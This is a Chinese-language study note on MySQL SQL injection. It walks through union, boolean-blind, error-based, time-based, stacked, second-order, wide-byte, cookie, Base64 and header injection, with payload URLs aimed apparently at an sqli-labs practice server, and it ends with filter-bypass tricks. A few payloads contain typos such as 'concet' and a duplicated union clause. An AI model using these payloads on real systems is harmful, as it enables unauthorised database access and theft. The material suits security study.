SQL注入基础
- SQL注入漏洞的产生需要满足以下两个条件:
参数用户可控:前端传给后端的参数内容是用户可控的; 参数代入数据库查询:传入的参数拼接到SQL语句且带入数据库查询。
- 与MySQL注入相关的知识点
在MySQL5.0版本之后,MySQL默认在数据库存放一个" information_schema" 的数据库, 在该库中,我们需要记住三个表名 ,分别是"SCHEMATA、TABLES、COLUMNS"
需要记住的函数:
database():当前网站使用的数据库;
version():当前MySQL版本;
user(): 当前MySQL的用户;
注释符:# 或 --空格 或 /**/
内联注释符: /*! code */
常用注入语句:
union select 1,schema_name from information_schema.schemata 爆库
union select 1,table_name from information_schema.tables where table_schema='库名' 爆表
union select 1,column_name from information_schema.columns where table_schema='库名' 爆列
union select 1,k0y from thiskey 查看数据
注入攻击
- Union 注入攻击
#判断是否存在注入
http://43.247.91.228:84/Less-1/?id=1' #后面直接加单引号,如果报错,可能存在注入
http://43.247.91.228:84/Less-1/?id=1 and 1=1 #返回正常
http://43.247.91.228:84/Less-1/?id=1 and 1=2 #返回错误 可能存在注入
#查询字段数
http://43.247.91.228:84/Less-1/?id=1 order by 1 #返回正常
http://43.247.91.228:84/Less-1/?id=1 order by 2 #返回正常
http://43.247.91.228:84/Less-1/?id=1 order by 3 #返回报错 字段数为2
#查询参数所对应的内容,然后将数据库的内容输出到页面
http://43.247.91.228:84/Less-1/?id=-1 union select 1,2 # 返回数字2
http://43.247.91.228:84/Less-1/?id=-1 union select 1,database() #查询当前数据库
http://43.247.91.228:84/Less-1/?id=-1 union select 1,union select 1,table_name from information_schema.tables where table_schema='库名' 爆表
http://43.247.91.228:84/Less-1/?id=-1 union select 1,column_name from information_schema.columns where table_schema='库名' 爆列
http://43.247.91.228:84/Less-1/?id=-1 union select 1,k0y from thiskey 查看字段
- Boolean 注入攻击
#判断是否存在注入
http://43.247.91.228:84/Less-5/?id=1' #返回结果由yes 变成了 no 可能存在注入
#判断数据库的长度
http://43.247.91.228:84/Less-5/?id=1‘ and length(database())>=1--+ #1可以换为任何一个你觉得可能长度的数字
http://43.247.91.228:84/Less-5/?id=1’ and length(database())>=3--+ #返回yes
http://43.247.91.228:84/Less-5/?id=1’ and length(database())>=4--+ #返回 no 判断出数据库长度为3
#判断数据库库名
http://43.247.91.228:84/Less-5/?id=1’ and substr(database(),1,1)='t'--+ #判断第一个字符是否为 't' 是则返回yes
# substr 是截取的意思 't' 可以是任何一个字符 直到返回yes 就证明字符猜对了
http://43.247.91.228:84/Less-5/?id=1’ and substr(database(),2,1)='q'--+ #判断第二个字符是否为 'q' 直到判断出数据库名
#查询表名、字段名 将database() 换为(select table_name from information_schema.tables where table_schema='sql' limit 0,1)
http://43.247.91.228:84/Less-5/?id=1’ and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='e'--+
#依此类推直到推出所有的表名和字段名
- 报错注入攻击
加 ’ 后报错:数据库语法错误
#获取当前数据库的库名
’ and updatexml(1,concet(0x7e,(select database()),0x7e),1)--+ #0x7e是 ~ 的ASCII编码
#接着继续获取数据库的表名字段名 方法同上,将database() 换为查询语句 并为查询语句加上 ()
’ and updatexml(1,concet(0x7e,(select table_name from information_schema.tables where table_schema='sql' limit 0,1),0x7e),1)--+
SQL 注入进阶
- 时间注入攻击 #Boolean注入的进阶——时间盲注
它与Boolean注入的不同之处在于,时间注入是利用sleep() 或 benchmark() 等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用 含义是:如果expr1是 TRUE ,则IF()的返回值为expr2;否者返回值为expr3.
if (length(database())>=1,sleep(5),1) #如果数据库库名的长度大于1,则MySQL查询休眠5秒
#其他查询语句 与Boolean注入相似。将database() 替换为查询语句即可查询数据库的表名,列名,字段
- 堆叠查询注入攻击
堆叠查询可以执行多条语句,多语句之间用分号隔开。堆叠查询注入就是利用这个特点,在第二个SQL语句中构造自己要执行的语句。首先访问id=1’ ,页面返回MySQL错误,在访问id=1’%23,页面返回正常结果。这里可以使用Boolean注入、时间注入、也可以用另外一种注入方式——堆叠注入
#注入语句
';select if(substr((database() limit 0,1),1,1)='e',sleep(3),1)%23
- 二次注入攻击
#1.php页面的功能是注册用户名;也是插入SQL语句的地方;2.php页面的功能是通过id参数读取用户名和用户信息
http://www.xxx.com.er/1.php?username=test 和
http://www.xxx.com.er/2.php?id=10
#第一步,访问1.php?username=test'
返回结果是用户名test' 对应的id为21
#第二步访问2.php?id=21;
返回结果 报错:error in your SQL syntax
#第三部 返回第一步访问1.php?username=test' order by 1%23
返回一个新的id=32
#第四步 再访问2.php?id=32
返回空白页面
重复第三步第四步(改变order by 字段数,返回id也不同) 直到页面返回错误信息, 从而判断出字段数。
- 宽字节注入攻击
访问 id=1' 时 程序并没有报错,反而多了一个注意字符(反斜杠'\\');
当数据库编码为GBK时可以使用宽字节注入;
注入方式: id=1%df'%23 #先加%df再加‘ %23用来注释单引号;
因为反斜杠的编码是%5c,而在GBK编码中,%df%5c 是繁体字 "連";所以这时候单引号成功逃逸,报出MySQL数据库的错误;
接下来就可以用Union 查询,与Union注入一样。
- cookie注入攻击
发现URL中没有GET参数,但是页面返回正常,这时我们使用Burp Suite 抓取数据包,如果发现cookie中存在id=1的参数,则可能存在cookie注入。
用Burp Suite 修改cookie中的参数id=1 and 1=1 和 id=1 and 1=2,即可判断是否存在cookie注入。
- Base64注入攻击
发现id后面的参数经过base64编码,尝试参数后面加上一个单引号并一起转换成Base64编码
访问后页面返回错误 然后将参数改为 1 and 1=1 和 1 and 1=2 并且Base64编码, 查看访问结果; 判断是否存在注入
- XFF注入攻击
XFF即HTTP请求头中的一个头部参数 X-Forwarded-for;它代表客户端真实的IP,通过修改X-Forwarded-for 的值可以伪造客户端IP
SQL 注入绕过
-
大小写绕过注入 例如: And aNd Order …
-
双写绕过注入 例如: anandd oorrder by…
-
编码绕过注入 例如:二次url编码
-
内联注释绕过注入 :
id=1 /*!and*/ 1=1 id=1 /*!and*/ 1=2